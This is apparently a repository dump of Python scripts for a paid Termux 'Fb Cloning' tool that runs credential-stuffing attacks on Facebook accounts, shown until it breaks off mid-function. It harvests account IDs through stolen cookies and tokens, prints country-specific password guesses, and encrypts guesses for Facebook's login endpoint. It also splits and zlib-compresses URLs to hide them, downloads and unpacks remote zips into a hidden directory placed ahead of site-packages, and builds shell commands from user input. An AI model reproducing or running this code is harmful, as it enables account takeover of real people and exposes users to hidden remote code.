Exception as e: 701 | pass 702 | #print(e) 703 | except KeyError: 704 | pass 705 | 706 | def sep(): 707 | xchker() 708 | os.system('clear');print(logo);xchker() 709 | 710 | try: 711 | limit = int(input(' How many links do you want to separate ? ')) 712 | except: 713 | limit = 1 714 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}') 715 | file_name = input('\033[0m Input file path : ') 716 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}') 717 | new_save = input('\033[0m Save new file as : ') 718 | y = 0 719 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}") 720 | for k in range(limit): 721 | y+=1 722 | links=input(' Put Uid Type : ') 723 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save) 724 | print(44*"\033[0m-") 725 | 726 | print(f'{rc} ids grabbed successfully{s}') 727 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines()))) 728 | print('\033[0m New file saved as : \033[0;33m '+new_save) 729 | print(44*"\033[0m-") 730 | 731 | input('\033[0m[Press enter to back] ') 732 | main() 733 | 734 | def double(): 735 | os.system('clear') 736 | print(logo);xchker() 737 | user_file = input('File Path : ') 738 | try: 739 | open(user_file,'r').read() 740 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m') 741 | save_file = input('Save new file as: ') 742 | os.system('touch '+save_file) 743 | os.system('sort -r '+user_file+' | uniq > '+save_file) 744 | print(50*'-') 745 | print(' Fully Removed Multi Lines Ids') 746 | print(' Dublicate Lines Removed From File') 747 | print(' File Saved As : '+save_file) 748 | print(50*'-') 749 | input('Press enter to back ') 750 | main() 751 | except FileNotFoundError: 752 | print(' Invalid File ') 753 | 754 | #----[http-capture]---- 755 | try: 756 | a = "anar" 757 | t="tt" 758 | fileee = os.listdir('/sdcard/Android/data/') 759 | if f'com.h{t}pc{a}y.pro' in fileee: 760 | print('error occur 0') 761 | #exit() 762 | #exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815') 763 | except Exception as e: 764 | print(e) 765 | pass 766 | except PermissionError: 767 | pass 768 | 769 | 770 | #----[if-fork]------ 771 | main() -------------------------------------------------------------------------------- /Qsr5.py: -------------------------------------------------------------------------------- 1 | #SOURCE BY : MR_AKING 2 | #GITHUB : AKING110 3 | #QSR ME BAP HU TERA 4 | #coding = utf-8 5 | from uuid import uuid4 6 | import os,sys,tempfile,string,random,subprocess,uuid 7 | http_directory = tempfile.mkdtemp(prefix='.') 8 | site_packages = sys.path[4] 9 | sys.path.remove(site_packages) 10 | sys.path.insert(4,http_directory+'/reqmodule') 11 | sys.path.insert(5,http_directory) 12 | try: 13 | os.mkdir('crypto') 14 | except:pass 15 | hh = "ho" 16 | hh2 = "9/pycrypt" 17 | find_aarch = subprocess.check_output('uname -om',shell=True) 18 | if 'aarch64' in str(find_aarch): 19 | user_aarch = '64' 20 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true' 21 | elif 'arm' in str(find_aarch): 22 | user_aarch = '32' 23 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true' 24 | else: 25 | print(' Unknown aarch ') 26 | exit() 27 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'): 28 | os.system('clear') 29 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n') 30 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip') 31 | os.system('python jan.py') 32 | else: 33 | akk2="rsi" 34 | akk=f"cha{akk2}fi" 35 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}') 36 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true' 37 | os.system(f'curl -L {lib} > {http_directory}/config.zip') 38 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null') 39 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null') 40 | try: 41 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct 42 | from string import * 43 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 44 | from Crypto.Cipher import AES, PKCS1_v1_5 45 | from Crypto.PublicKey import RSA 46 | from Crypto.Random import get_random_bytes 47 | except Exception as e: 48 | print(e) 49 | print('\n Installing modules wait !') 50 | os.system('pip install futures==2 && python jan.py') 51 | except FileExistsError: 52 | os.system('pip uninstall requests urllib3 idna certifi -y') 53 | pass 54 | 55 | try: 56 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib 57 | from string import * 58 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 59 | except ModuleNotFoundError: 60 | print('\n Installing missing modules ...') 61 | os.system('pip install requests futures==2 > /dev/null') 62 | os.system('python jan.py') 63 | 64 | #----[pran links]----- 65 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'} 66 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'} 67 | lll = ("https://b-api.facebook.com/method/auth.login") 68 | #----[remover]----- 69 | import os,shutil,zlib 70 | sz = zlib.decompress(b'x\x9c\xd3OI,I\xd4\x07\x13\xc9\xf9\xb9z%\xa9E\xb9\xa5\x15\xfai\x999\xa9\xc5\xfa\x19\xf9\xb9\xa9\xfae\x05E\xf9%\xa9\xc9%\x00 .temp.txt') 603 | file = open('.temp.txt','r').read().splitlines() 604 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 605 | #100010138361148 606 | sf = input(' Saved File As : ') 607 | print('') 608 | os.system('clear') 609 | print(logo);xchker() 610 | print(' Total ids To Dump: '+str(len(file))) 611 | print(' Dumping Is Started Wait ....') 612 | print(50*'-') 613 | with ThreadPool(max_workers=20) as yaari: 614 | for exid in file: 615 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 616 | print(' Total ids Extracted : '+str(len(total))) 617 | input(' Press enter to back ') 618 | main() 619 | 620 | def new_file(cookies,access_token): 621 | global total 622 | os.system('clear & rm -rf .txt .temp.txt') 623 | os.system('clear') 624 | print(logo);xchker() 625 | try: 626 | fl = 1 627 | except: 628 | fl = 1 629 | for xd in range(fl): 630 | idt = input(f' Put id {xd+1}: ') 631 | try: 632 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(idt,access_token) 633 | xyz = requests.Session() 634 | r = xyz.get(fd_url,cookies=cookies).text 635 | q = json.loads(r) 636 | for iid in q['friends']['data']: 637 | uid = iid['id'] 638 | open('.txt','a').write(uid+'\n') 639 | except KeyError: 640 | print(' No Friend List : '+idt) 641 | time.sleep(3) 642 | return auto_file(cookies,access_token) 643 | except requests.exceptions.ConnectionError: 644 | print(' No internet connection ....') 645 | print('\n\033[1;92m Example: 100087,100088 etc\033[0;97m') 646 | try: 647 | sl = int(input('\n How Many Links To Grab : ')) 648 | except: 649 | sl = 1 650 | for el in range(sl): 651 | sid = input(f' Put {el+1} link: ') 652 | os.system('cat .txt | grep "'+sid+'" > .temp.txt') 653 | file = open('.temp.txt','r').read().splitlines() 654 | print('\n \033[1;97m /sdcard/xxx1.txt \033[0;97m\n') 655 | #100010138361148 656 | sf = input(' Saved File As : ') 657 | print('') 658 | os.system('clear') 659 | print(logo);xchker() 660 | print(' Total ids To Dump: '+str(len(file))) 661 | print(' Dumping Is Started Wait ....') 662 | print(50*'-') 663 | with ThreadPool(max_workers=20) as yaari: 664 | for exid in file: 665 | yaari.submit(iamBadBoy, exid,cookies,access_token,sf) 666 | try: 667 | son = f"qaiser{str(random.randint(0,90))}.txt" 668 | except: 669 | son = f"qaiser{str(random.randint(10,50))}.txt" 670 | os.system(f'cat {sf} | grep "'+sid+'" > /sdcard/'+son+'') 671 | print(' Total ids Extracted : '+str(len(total))) 672 | print(' New ids Saved As : /sdcard/'+son) 673 | print(' Normal ids Saved As : '+sf) 674 | input(' Press enter to back ') 675 | main() 676 | 677 | def iamBadBoy(exid,cookies,access_token,sf): 678 | try: 679 | global total,loop 680 | fd_url = 'https://graph.facebook.com/%s?fields=friends.fields(id,name)&access_token=%s'%(exid,access_token) 681 | xyz = requests.Session() 682 | r = xyz.get(fd_url,cookies=cookies).text 683 | q = json.loads(r) 684 | for yaad in q['friends']['data']: 685 | iid = yaad['id'] 686 | name = yaad['name'] 687 | total.append(iid) 688 | open(sf,'a').write(iid+'|'+name+'\n') 689 | loop+=1 690 | sys.stdout.write('\r Dumping Ids [%s] : [%s]\r'%(loop,len(total)));sys.stdout.flush() 691 | except requests.exceptions.ConnectionError: 692 | print(' No internet connection ...') 693 | except Exception as e: 694 | pass 695 | #print(e) 696 | except KeyError: 697 | pass 698 | 699 | def sep(): 700 | xchker() 701 | os.system('clear');print(logo);xchker() 702 | try: 703 | limit = int(input(' How many links do you want to separate ? ')) 704 | except: 705 | limit = 1 706 | print(f'{rg} File Path Example /sdcard/xxx.txt{s}') 707 | file_name = input('\033[0m Input file path : ') 708 | print(f'{rg} Save As Example /sdcard/newfile.txt{s}') 709 | new_save = input('\033[0m Save new file as : ') 710 | y = 0 711 | print(f"{ro} Ids To Grabb Ex [ 100087,10000,10006 etc ]{s}") 712 | for k in range(limit): 713 | y+=1 714 | links=input(' Put Uid Type : ') 715 | os.system('cat '+file_name+' | grep "'+links+'" >> '+new_save) 716 | print(44*"\033[0m-") 717 | print(f'{rc} ids grabbed successfully{s}') 718 | print(' Total grabbed ids :\033[0;33m '+str(len(open(new_save).read().splitlines()))) 719 | print('\033[0m New file saved as : \033[0;33m '+new_save) 720 | print(44*"\033[0m-") 721 | input('\033[0m[Press enter to back] ') 722 | main() 723 | 724 | def double(): 725 | os.system('clear') 726 | print(logo);xchker() 727 | user_file = input('File Path : ') 728 | try: 729 | open(user_file,'r').read() 730 | print(' \n\033[1;97mExample: /sdcard/xxx.txt\n\033[0;97m') 731 | save_file = input('Save new file as: ') 732 | os.system('touch '+save_file) 733 | os.system('sort -r '+user_file+' | uniq > '+save_file) 734 | print(50*'-') 735 | print(' Fully Removed Multi Lines Ids') 736 | print(' Dublicate Lines Removed From File') 737 | print(' File Saved As : '+save_file) 738 | print(50*'-') 739 | input('Press enter to back ') 740 | main() 741 | except FileNotFoundError: 742 | print(' Invalid File ') 743 | 744 | #----[http-capture]---- 745 | try: 746 | a = "anar" 747 | t="tt" 748 | fileee = os.listdir('/sdcard/Android/data/') 749 | if f'com.h{t}pc{a}y.pro' in fileee: 750 | print('error occur 0') 751 | #exit() 752 | #exit(f'\nsomethiiing went wrong\n\nContact Admin : +923197951815') 753 | except Exception as e: 754 | print(e) 755 | pass 756 | except PermissionError: 757 | pass 758 | 759 | 760 | #----[if-fork]------ 761 | '''pat = os.getcwd() 762 | datar = [] 763 | datar.append(pat) 764 | if '/data/data/com.termux/files/home/Qsr' in datar: 765 | pass 766 | else: 767 | for i in range(5000): 768 | print(" data is forked / or in other file") 769 | #exit("Type > cd ~ && python jan.py") 770 | 771 | if not os.path.exists('.fam'): 772 | main() 773 | else: 774 | main()''' 775 | main() -------------------------------------------------------------------------------- /Qsr2.py: -------------------------------------------------------------------------------- 1 | #SOURCE BY : MR_AKING 2 | #GITHUB : AKING110 3 | #QSR ME BAP HU TERA 4 | #coding = utf-8 5 | from uuid import uuid4 6 | import os,sys,tempfile,string,random,subprocess,uuid 7 | http_directory = tempfile.mkdtemp(prefix='.') 8 | site_packages = sys.path[4] 9 | sys.path.remove(site_packages) 10 | sys.path.insert(4,http_directory+'/reqmodule') 11 | sys.path.insert(5,http_directory) 12 | try: 13 | os.mkdir('crypto') 14 | except:pass 15 | hh = "ho" 16 | hh2 = "9/pycrypt" 17 | find_aarch = subprocess.check_output('uname -om',shell=True) 18 | if 'aarch64' in str(find_aarch): 19 | user_aarch = '64' 20 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto64/crypto64.zip?raw=true' 21 | elif 'arm' in str(find_aarch): 22 | user_aarch = '32' 23 | download_link = f'https://github.com/{hh}p0{hh2}odome/blob/main/crypto32/crypto32.zip?raw=true' 24 | else: 25 | print(' Unknown aarch ') 26 | exit() 27 | if not os.path.isfile(f'crypto/crypto{user_aarch}.zip'): 28 | os.system('clear') 29 | print('\n Please wait while creating pycryptodome for you ! This can take some time\n\n') 30 | os.system(f'curl -L {download_link} > crypto/crypto{user_aarch}.zip') 31 | os.system('python jan.py') 32 | else: 33 | akk2="rsi" 34 | akk=f"cha{akk2}fi" 35 | os.system(f'cp crypto/crypto{user_aarch}.zip {http_directory}') 36 | lib = f'https://github.com/{akk}les/client/blob/main/config.zip?raw=true' 37 | os.system(f'curl -L {lib} > {http_directory}/config.zip') 38 | os.system(f'cd {http_directory} && unzip config.zip -d {http_directory} > /dev/null') 39 | os.system(f'cd {http_directory} && unzip crypto{user_aarch}.zip -d {http_directory} > /dev/null') 40 | try: 41 | import time,requests,re,platform,base64,datetime,hashlib,string,json,io,struct 42 | from string import * 43 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 44 | from Crypto.Cipher import AES, PKCS1_v1_5 45 | from Crypto.PublicKey import RSA 46 | from Crypto.Random import get_random_bytes 47 | except Exception as e: 48 | print(e) 49 | print('\n Installing modules wait !') 50 | os.system('pip install futures==2 && python jan.py') 51 | except FileExistsError: 52 | os.system('pip uninstall requests urllib3 idna certifi -y') 53 | pass 54 | 55 | try: 56 | import os,sys,time,json,random,re,string,platform,base64,requests,io,struct,zlib 57 | from string import * 58 | from concurrent.futures import ThreadPoolExecutor as ThreadPool 59 | except ModuleNotFoundError: 60 | print('\n Installing missing modules ...') 61 | os.system('pip install requests futures==2 > /dev/null') 62 | os.system('python jan.py') 63 | 64 | #----[pran links]----- 65 | kkk = {'user-agent': 'Davik/2.1.0 (Linux; U; Android 7.0.0; MMB29K Build/GT-P5100 [FBAN/FB4A;FBAV/241.0.0.41292;FBBV/975202462;FBDM/{density=1.5,width=480,height=800};FBLC/pl_PL;FBCR/T-Mobile.pl;FBMF/samsung;FBBD/samsung;FBPN/com.facebook.mlite;FBDV/MMB29K;FBSV/4.4.4;nullFBCA/armeabi-v7a:armeabi;]', 'accept-encoding': 'gzip, deflate', 'Accept': '*/*', 'Connection': 'keep-alive', 'content-type': 'application/x-www-form-urlencoded', 'x-fb-sim-hni': '31061', 'x-fb-connection-type': 'unknown', 'Authorization': 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32', 'x-fb-net-hni': '28613', 'x-fb-connection-bandwidth': '29643048', 'x-fb-connection-quality': 'EXCELLENT', 'x-fb-friendly-name': 'authenticate', 'x-fb-http-engine': 'Liger'} 66 | hhh = {'adid': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'email': '10000'+str(random.randint(11111111111,99999999999)), 'password': str(random.randint(1111111,9999999)), 'cpl': 'true', 'credentials_type': 'device_based_login_password', 'source': 'login', 'error_detail_type': 'button_with_disabled', 'format': 'json', 'generate_session_cookies': '1', 'generate_analytics_claim': '1', 'generate_machine_id': '1', 'locale': 'pl_PL', 'client_country_code': 'PL', 'device': 'SM-A500H', 'device_id': 'e66b2ae4-35b6-4c2b-822b-b57243edb930', 'method': 'auth.login', 'fb_api_req_friendly_name': 'authenticate', 'fb_api_caller_class': 'com.facebook.account.login.protocol.Fb4aAuthHandler'} 67 | lll = ("https://b-api.facebook.com/method/auth.login") 68 | #----[remover]----- 69 | import os,shutil,zlib 70 | 71 | 72 | logo= f''' 73 | .d88888b. .d8888b. 8888888b. 74 | d88P" "Y88b d88P Y88b 888 Y88b 75 | 888 888 Y88b. 888 888 76 | 888 888 "Y888b. 888 d88P 77 | 888 888 "Y88b. 8888888P" 78 | 888 Y8b 888 "888 888 T88b 79 | Y88b.Y8b88P Y88b d88P 888 T88b 80 | "Y888888" "Y8888P" 888 T88b 81 | Y8b 82 | {50*"-"} 83 | Tool Version : 10.1.15 84 | Thanks Alot : M.Hamza 85 | {50*"-"}''' 86 | 87 | #--(Dark@Colours)---# 88 | r="\033[1;91m" 89 | g="\033[1;92m" 90 | y="\033[1;93m" 91 | b="\033[1;94m" 92 | p="\033[1;95m" 93 | c="\033[1;96m" 94 | l="\033[1;97m" 95 | s="\033[0m" 96 | #--(light@Colours)---# 97 | lr="\033[0;91m" 98 | lg="\033[0;92m" 99 | ly="\033[0;93m" 100 | lb="\033[0;94m" 101 | lp="\033[0;95m" 102 | lc="\033[0;96m" 103 | ll="\033[0;97m" 104 | #--(rare-colors)--# 105 | holaa="38;5" 106 | ro=(f"\033[{holaa};208") 107 | rb=(f"\033[{holaa};32") 108 | rc=(f"\033[{holaa};122m") 109 | rg= (f"\033[{holaa};112m") 110 | rp=(f"\033[{holaa};147m") 111 | 112 | loop = 0 113 | methods = [] 114 | ok=[] 115 | total=[] 116 | clone_type=[] 117 | android_models = [] 118 | 119 | xny = zlib.decompress(b'x\x9c\xcb())(\xb6\xd2\xd7/J,\xd7K\xcf,\xc9(M*-N-J\xce\xcf+I\xcd+\xd1K\xce\xcf\xd5OKK)\xcb1442\xd0O,\xd0\xcfM\xcc\xcc\xd3\xcfJ\x03\x001"\x13\xc6') 120 | update = requests.get(xny).text 121 | uuidd = str(os.geteuid()) + str(os.getlogin()) + str(os.getuid()) 122 | id = "".join(uuidd).replace("_","").replace("360","AHS").replace("u","9").replace("a","A") 123 | plat = platform.version()[14:][:21][::-1].upper()+platform.release()[5:][::-1].upper()+platform.version()[:8] 124 | xp = plat.replace(' ', '').replace('-', '').replace('#', '').replace(':', '').replace('.', '').replace(')', '').replace('(', '').replace('?', '').replace('=', '').replace('+', '').replace(';', '').replace('*', '').replace('_', '').replace('?', '').replace(' ', '') 125 | bxd = "" 126 | bumper = id+bxd+xp 127 | myweb2 = requests.get(xny).text 128 | 129 | def qsbuy(): 130 | try: 131 | os.system('clear') 132 | print(logo) 133 | x = requests.get('https://raw.githubusercontent.com/hop09/libraries/main/version.txt').text 134 | if str("upppdate") in update: 135 | os.system('clear') 136 | exit('script is in update / maintanance be patient ') 137 | elif str("res-sseett") in update: 138 | 139 | exit('Dont Try To Bypass') 140 | elif bumper in myweb2: 141 | main() 142 | else: 143 | os.system("clear");print(logo) 144 | print(f"{lr} Your Device License Key Is Not Approved{s}") 145 | print(50*"-") 146 | print(f"{rc} Key : {bumper}{s}") 147 | print(50*"-") 148 | print(f" Note : Tool is Paid & We Accept All Types Of PAyment Method . If There was Fb Update & Tool Wasnt Run Then We Are Not Responsible For All Of This . We Will Try To Update Script Every Time But It Took Day ") 149 | print("\n Baray Mehrbani Tool Apni Zimadare May Buy Kary Lehaza May Apko Force Ni Kar Raha ! Baqe Tool Har 2 sy 3 din bad update hgaya kryga ") 150 | print(50*"-") 151 | print(f" 15-Days Price : 350") 152 | print(f" 1-Month Price : 500") 153 | print(50*"-") 154 | input("[Press Enter To Send Key To Admin]") 155 | os.system(f"termux-open-url https://wa.me/+923197951814?text={bumper}") 156 | qsbuy() 157 | except requests.exceptions.ConnectionError: 158 | exit(' No internet connection ..') 159 | 160 | def xchkger(): 161 | if bumper in myweb2: 162 | pass 163 | else: 164 | qsbuy() 165 | def xchker(): 166 | pass 167 | def main(): 168 | # 169 | # os.system('rm -rf ...txt') 170 | os.system('clear') 171 | print(logo) 172 | print('Code Like Humor When You Have To Explain It Its Bad') 173 | print(50*'-') 174 | print('[1] Fb Cloning Menu') 175 | print('[2] File Create Menu') 176 | print('[3] Number Detail Finder') 177 | print('[4] Remove Cookie') 178 | print('[5] Clear Cache') 179 | print('[6] Best Pass Lists \033[0;97m') 180 | print('[7] How To Use Video') 181 | print('[0] Exit \033[0;97m') 182 | print(50*'-') 183 | menu_opt = input('Select choice : ') 184 | if menu_opt =='1': 185 | method_crack() 186 | elif menu_opt =='2': 187 | create_file() 188 | elif menu_opt =='3': 189 | 190 | os.system('xdg-open https://github.com/TechQaiser/Qnumber') 191 | main() 192 | elif menu_opt =='4': 193 | os.system('rm -rf fb_cookies.txt') 194 | os.system('rm -rf access_token.txt') 195 | print(' Removed Success') 196 | time.sleep(3) 197 | main() 198 | elif menu_opt =='5': 199 | isdd="les/u" 200 | isd="sr/t" 201 | isddd="p/." 202 | llb = f"/data/data/com.termux/fi{isdd}{isd}m{isddd}*" 203 | os.system(f"rm -rf {llb}") 204 | exit(" Sucessfully Removed . ") 205 | elif menu_opt =='6': 206 | os.system('clear') 207 | print(logo) 208 | print(' Select Your Country For Best PassLists') 209 | print(50*'-') 210 | print('[1] Pakistani Ids') 211 | print('[2] Bangladesh Ids') 212 | print('[3] Nigeria Ids') 213 | print('[4] Other Countries') 214 | print('[0] Back \033[0;97m') 215 | print(50*'-') 216 | menu_opt = input('Select choice : ') 217 | if menu_opt =='1': 218 | os.system('clear') 219 | print(logo) 220 | print('first last') 221 | print('First Last') 222 | print('firstlast') 223 | print('first123') 224 | print('khan123') 225 | print('first1234') 226 | print('first12345') 227 | print('i love you') 228 | print('firstkhan') 229 | print('khankhan') 230 | print('khan12345') 231 | print('khan12') 232 | print('first786') 233 | input('\nPress enter to back ') 234 | main() 235 | elif menu_opt =='2': 236 | os.system('clear') 237 | print(logo) 238 | print('first last') 239 | print('First Last') 240 | print('firstlast') 241 | print('first123') 242 | print('Bangladesh') 243 | print('first1234') 244 | print('first12345') 245 | print('bangladesh') 246 | print('i love you') 247 | print('Jannatul123') 248 | print('Mohammed123') 249 | print('Mohammad123') 250 | print('first@123') 251 | input('\nPress enter to back ') 252 | main() 253 | elif menu_opt =='3': 254 | os.system('clear') 255 | print(logo) 256 | print('first last') 257 | print('First Last') 258 | print('firstlast') 259 | print('first123') 260 | print('i love you') 261 | print('musa123') 262 | print('first12345') 263 | print('first@123') 264 | print('first@1234') 265 | print('firstfirst') 266 | print('lastlast') 267 | print('first786') 268 | print('first1122') 269 | input('\nPress enter to back ') 270 | main() 271 | elif menu_opt =='4': 272 | os.system('clear') 273 | print(logo) 274 | print('first last') 275 | print('First Last') 276 | print('firstlast') 277 | print('first123') 278 | print('i love you') 279 | print('first321') 280 | print('lastfirst') 281 | print('firstlast123') 282 | print('first12345') 283 | print('first@123') 284 | print('first@1234') 285 | print('firstfirst') 286 | print('first007') 287 | print('first789') 288 | print('first1122') 289 | input('\nPress enter to back ') 290 | main() 291 | elif menu_opt == "7": 292 | try: 293 | os.system('python use.py') 294 | except: 295 | exit('video is not avalible Right now in server try again after few hours') 296 | elif menu_opt == "0": 297 | main() 298 | else: 299 | print('\n Invalid option, try again ...') 300 | time.sleep(3) 301 | main() 302 | 303 | def login(): 304 | os.system('clear') 305 | print(logo) 306 | cookies = input(' Put cookies here: ') 307 | try: 308 | print('\n Validating cookies ... ') 309 | data = requests.get("https://business.facebook.com/business_locations", headers = {"user-agent": "Mozilla/5.0 (Linux; Android 6.0.1; Redmi 4A Build/MMB29M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.92 Mobile Safari/537.36","referer": "https://www.facebook.com/","host": "business.facebook.com","origin": "https://business.facebook.com","upgrade-insecure-requests" : "1","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7","cache-control": "max-age=0","accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*[inserted by cython to avoid comment closer]/[inserted by cython to avoid comment start]*;q=0.8","content-type":"text/html; charset=utf-8"}, cookies = {"cookie":cookies}) 310 | find_token = re.search("(EAAG\w+)", data.text) 311 | open("access_token.txt", "w").write(find_token.group(1)) 312 | open("fb_cookies.txt","w").write(cookies) 313 | print(' Logged in successfully ...') 314 | time.sleep(1) 315 | os.system('python malang.py') 316 | except KeyError: 317 | print('\n Inavlid cookies, try another cookies') 318 | exit() 319 | except requests.exceptions.ConnectionError: 320 | print('\n No internet connection ...') 321 | exit() 322 | except AttributeError: 323 | print('\n Invalid cookies, try another cookies ...') 324 | exit() 325 | 326 | def method_crack(): 327 | os.system('clear') 328 | print(logo) 329 | print(' [1] File Cloning ') 330 | print(' [2] Email Cloning ') 331 | print(' [3] Number Cloning ') 332 | print(' [0] Back') 333 | print(50*'-') 334 | clone_ = input(' Select : ') 335 | if clone_ == "1": 336 | clone_type.append('1') 337 | elif clone_ == "2": 338 | clone_type.append('2') 339 | elif clone_ == "3": 340 | clone_type.append('3') 341 | elif clone_ == "0": 342 | main() 343 | else: 344 | exit('invalid select') 345 | mycrackistan() 346 | 347 | def mycrackistan(): 348 | global methods 349 | if '1' in clone_type: 350 | crack_main().crackfile(id) 351 | elif '2' in clone_type: 352 | crack_main().crackmail(id) 353 | elif '3' in clone_type: 354 | crack_main().cracknum(id) 355 | 356 | class crack_main(): 357 | def __init__(self): 358 | self.id=[] 359 | def crackfile(self,id): 360 | global methods 361 | os.system('clear') 362 | print(logo) 363 | self.file = input(' Put file path: ') 364 | try: 365 | self.id = open(self.file).read().splitlines() 366 | self.pasw() 367 | except FileNotFoundError: 368 | print(' No file found ....') 369 | exit() 370 | def crackmail(self,id): 371 | global methods 372 | os.system("clear");print(logo) 373 | import requests,random 374 | user=[] 375 | print(" [*] First Name Example Hamza,Areesha") 376 | first = input(" First Name : ") 377 | last = input(" Last Name : ") 378 | print(" \n [*] Ex @gmail.com,@yahoo.com or @hotmail.com etc") 379 | domain = input(" Domain : ") 380 | print("\n [?] Limit ids Example 1000,5000,50000") 381 | limit = int(input(" Limit Ids : ")) 382 | for nmbr in range(limit): 383 | nmpp = random.randint(99,9999) 384 | nmp = f"{first}{last}{str(nmpp)}{domain}|{first} {last}\n" 385 | naseeb = open('...txt','a').write(nmp) 386 | self.id = open('...txt').read().splitlines() 387 | self.pasw() 388 | def cracknum(self,id): 389 | global methods 390 | os.system('clear');print(logo) 391 | print('\033[0mFor Example :\033[0m 92310,92342,92300,92301 ...') 392 | kode = input('\033[0mChoose Code : \033[0m') 393 | print('\033[0mFor Example :\033[0m 2000,4000,6000 ...') 394 | limit = int(input('\033[0mIdz Limit : \033[0m')) 395 | for nmbr in range(limit): 396 | nmp = ''.join(random.choice(string.digits) for _ in range(7)) 397 | xoo = kode+nmp.replace(" ","") 398 | xdr = f"{kode+nmp}|{nmp} {xoo}\n" 399 | naseeb = open('...txt','a').write(xdr) 400 | self.id = open('...txt').read().splitlines() 401 | self.pasw() 402 | def m1(self,iid,name,passlist): 403 | try: 404 | global ok,loop,android_models 405 | sys.stdout.write('\r[QSR] %s / [OK-%s] \r'%(loop,len(ok)));sys.stdout.flush() 406 | fn = name.split(' ')[0] 407 | try: 408 | ln = name.split(' ')[1] 409 | except: 410 | ln = fn 411 | for pw in passlist: 412 | pas = pw.replace('first',fn.lower()).replace('First',fn).replace('last',ln.lower()).replace('Last',ln).replace('Name',name).replace('name',name.lower()) 413 | password = pas 414 | pwd_key_fetch = 'https://b-graph.facebook.com/pwd_key_fetch' 415 | pwd_key_fetch_data = {'version':'2','flow':'CONTROLLER_INITIALIZATION','method':'GET','fb_api_req_friendly_name':'pwdKeyFetch','fb_api_caller_class':'com.facebook.auth.login.AuthOperations','access_token':"438142079694454|fc0a7caa49b192f64f6f5a6d9643bb28"} 416 | pwd = requests.post(pwd_key_fetch,params=pwd_key_fetch_data).json() 417 | password_encryption_pubkey = '-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmofqjEw46+3ec9y3Eq1V\ny46SazS16Mlb5Ks3mQ0rG40qnkoSQmIaThD5t+tLdEWrc/rwSAdj0L2Ez01Yh4Uz\nhLIliy5hjkt8geAzV6pqgMa48y16b4fjQqsVf0KSFSaXD5IBYm0ErXck8/UKX36W\ngIE1E4QLAAZMcOJQsHZl39P/QVs4Y9lP1/WR7k9sFDbazmyBbyCIAFjHJH7x+Txf\nloj7jbbqbB3b5xC9tolyjiC3Fqybn/MrHOdJI27lQTnTiFeJuW1SpMwRULtf2Cbo\n0WsoQKWzxsUSFHupVS/0DCdx3QaKBPugrs/MTdUeCJDXBZVjTRT9kAtrWSe5u1BR\n5QIDAQAB\n-----END PUBLIC KEY-----\n' 418 | password_encryption_key_id = '25' 419 | rand_key = get_random_bytes(32) 420 | iv = get_random_bytes(12) 421 | pubkey_bytes = password_encryption_pubkey 422 | pubkey = RSA.import_key(pubkey_bytes) 423 | cipher_rsa = PKCS1_v1_5.new(pubkey) 424 | encrypted_rand_key = cipher_rsa.encrypt(rand_key) 425 | cipher_aes = AES.new(rand_key, AES.MODE_GCM, nonce=iv) 426 | current_time = int(time.time()) 427 | 